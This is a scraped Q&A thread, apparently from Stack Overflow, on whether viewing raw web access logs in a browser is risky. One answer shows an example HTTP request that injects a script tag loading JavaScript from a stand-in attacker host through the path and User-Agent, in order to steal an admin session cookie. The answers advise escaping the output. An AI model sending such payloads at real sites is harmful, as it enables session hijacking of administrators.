Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Is it dangerous thing to view access log without sanitizing via web browser?

Is it dangerous thing to view access log without sanitizing via web browser?

I am considering to record access log, and I am considering to view it via wev browser, but if attacker modifies his remote host or user agent or something, can he attack to me?

By inserting attacking code into his remote host or user agent or ect.

So do I need to sanitize by htmlspecialchar before opening the access log file via web browser?

I mean attacker insert some attacking code into his remote host or user agent or someware, then I see that access log via web browser, then my PC will be affected that code.

like image 308
jim-prove Avatar asked Jun 26 '09 05:06

jim-prove


People also ask

Why is it important to sanitize input before inserting it in your database?

Failure to sanitize inputs can lead to attackers including SQL code in form inputs so they can do any number of interesting things, ranging from deleting information from a database to injecting information.

What does it mean to sanitize user input?

Sanitization may include the elimination of unwanted characters from the input by means of removing, replacing, encoding, or escaping the characters. Sanitization may occur following input (input sanitization) or before the data is passed across a trust boundary (output sanitization).

What is the best way to keep sensitive data out of the log in Rest assured?

Encrypt During Transit and at Rest Additionally, since web servers often automatically log requests, you need to encrypt data during transit, even between internal systems. This will help prevent encrypted sensitive data from ending up in your logs.


2 Answers

Yes, this is dangerous.

For example, a malicious user can just request something like this:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>

And compromise your view page with malicious JavaScript.

Since you're probably viewing the log on your site, you'd be logged in as an account with administrative rights. With the malicious JavaScript, the attacker can steal your session cookie and take over your session, complete with all the things you can do while logged in.

So, in conclusion, you should definitely escape access log pages, unless you like having your administrative accounts compromised.

like image 186
MiffTheFox Avatar answered Nov 03 '22 17:11

MiffTheFox


Theoretically it is possible, yes, and you should commend yourself for having the right mindset to think about it that way. Sanitizing any uncontrolled input before displaying it in a web-browser is always a good idea.

I would run the log output through htmlspecialchars().

like image 22
zombat Avatar answered Nov 03 '22 17:11

zombat